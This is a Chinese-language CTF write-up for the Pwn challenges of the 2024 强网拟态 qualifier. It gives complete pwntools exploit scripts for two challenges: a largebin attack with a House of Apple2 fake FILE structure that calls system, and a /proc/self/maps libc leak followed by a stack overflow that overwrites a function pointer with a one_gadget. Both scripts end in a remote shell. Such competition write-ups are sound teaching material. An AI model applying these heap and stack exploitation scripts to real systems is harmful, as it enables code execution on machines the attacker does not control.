2024强网拟态初赛初赛Pwn

省赛和强网拟态重合了,白天省赛(我们两队人马直接拿下第一第二),晚上强网拟态,这辈子有了。

第一天白天打完省赛回来,学弟已经把signed和signin_revenge做了,晚上我解决了guest book和QWEN,逆向大哥解决了ezcode,最后pwn方向还剩一道内核题,干不动得睡了,因为第二天白天还要省赛AWDP/(ㄒoㄒ)/~~

guest book

简单的largebin attack + apple2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'sp', '-h']
local = 0
elf = ELF('./pwn')
if local:
p = process('./pwn')
libc = ELF('./libc.so.6')
else:
p = remote("pwn-7e15560965.challenge.xctf.org.cn", 9999, ssl=True)
libc = ELF('./libc.so.6')

sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
ia = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))

def lg(s):
success("%s >> 0x%x" % (s, eval(s)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def cmd(op):
sla(">",str(op))

def add(index,size):
cmd(1)
sla("[+] input your index",str(index))
sla("[+] input your size",str(size))

def edit(index,content):
cmd(2)
sla("[+] input your index",str(index))
sa("[+] input your content",content)

def free(index):
cmd(3)
sla("[+] input your index",str(index))

def show(index):
cmd(4)
sla("[+] input your index",str(index))

add(8, 0x508)
add(0, 0x510)
add(1, 0x500)
add(2, 0x520)
add(3, 0x500)
free(2)
add(4, 0x530)

show(2)
rl()
large = uu64(rc(6)[-6:])
libc_base = large - 0x670 - libc.sym['_IO_2_1_stdin_']
lg('libc_base')

_IO_list_all = libc_base + libc.sym['_IO_list_all']
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
system = libc_base + libc.sym['system']

edit(2, b'A' * 0x10)
show(2)
ru('A'*0x10)
heap = uu64(rc(6)[-6:])
lg('heap')

# tel $rebase(0x4060)

free(0)
edit(2, p64(large) + p64(large) + p64(heap) + p64(_IO_list_all - 0x20))

add(5, 0x550)

chunk_addr = heap - 0xa30
edit(8, b'A' * 0x500 + p32(0xfffff7f5) + b';sh\x00')

fake_io_file = p64(0)*2 + p64(1) + p64(2)
fake_io_file = fake_io_file.ljust(0xa0 - 0x10, b'\x00') + p64(chunk_addr + 0x100) # _wide_data
fake_io_file = fake_io_file.ljust(0xc0 - 0x10, b'\x00') + p64(0xffffffffffffffff) # _mode
fake_io_file = fake_io_file.ljust(0xd8 - 0x10, b'\x00') + p64(io_wfile_jumps) # vtable
fake_io_file = fake_io_file.ljust(0x100 - 0x10 + 0xe0, b'\x00') + p64(chunk_addr + 0x200)
fake_io_file = fake_io_file.ljust(0x200 - 0x10, b'\x00') + p64(0)*13 + p64(system)

edit(0, fake_io_file)

cmd('5')

ia()

QWEN

(0,0)到(0,4)依次输入即可获胜,进入函数sub_1508,打印 /proc/self/maps 来泄露地址信息

image-20241022105558130

最后栈溢出,能够修改到下面的函数指针

image-20241022105143994

如果输入的棋子范围过大会去调用函数指针,直接打ogg

image-20241022105322290

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'sp', '-h']

sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
ia = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))

def lg(s):
success("%s >> 0x%x" % (s, eval(s)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def pwn():
sla("[*] Administrator successfully logged in!\n",b'/proc/self/maps')
ru("The debugging information is as follows >>\n")
ru("rw-p 00003000")
ru("/home/ctf/pwn1\n")
libc_base = int(rc(12),16)
ogg = libc_base + 0x10a2fc
lg('libc_base')
lg('ogg')
for i in range(5):
sla(b": ",b"0 " + str(i).encode())
payload = b'\x00'*0x8 + p64(ogg)
payload = payload.ljust(0x30,b'\x00')

sd(payload)
sla(b"Do you want to end the game [Y/N]",b"N")
sla(b": ",b"50 " + str(i).encode())

ia()


while True:
try:
local = 1
elf = ELF('./pwn1')
if local:
p = process('./pwn1')
ibc = ELF('./libc.so.6')
else:
p = remote("pwn-e27d494306.challenge.xctf.org.cn", 9999, ssl=True)
libc = ELF('./libc.so.6')
for i in range(5):
sla(b": ",b"0 " + str(i).encode())
sa("Do you think this victory is easy? Is there anything you want to say?",'a'*0x8 + '\x08\x15')
sla(b"Do you want to end the game [Y/N]",b"N")
sla(b": ",b"50 " + str(i).encode())
if p.recvuntil("This is a function for administrators to debug\n",timeout = 0.2):
sla("Please enter the administrator key\n",str(0x6b8b4567).encode())
pwn()

except EOFError:
p.close()
continue

拿到shell后就有意思了,不能直接拿flag,权限不够,但是给了个pwn2的程序

我在远程利用base64把pwn2和使用pwn2压缩后的flag文件传下到本地(跟内核题打远程那种传exp差不多),然后在本地来pwn2解压加解密flag文件来得到真正的flag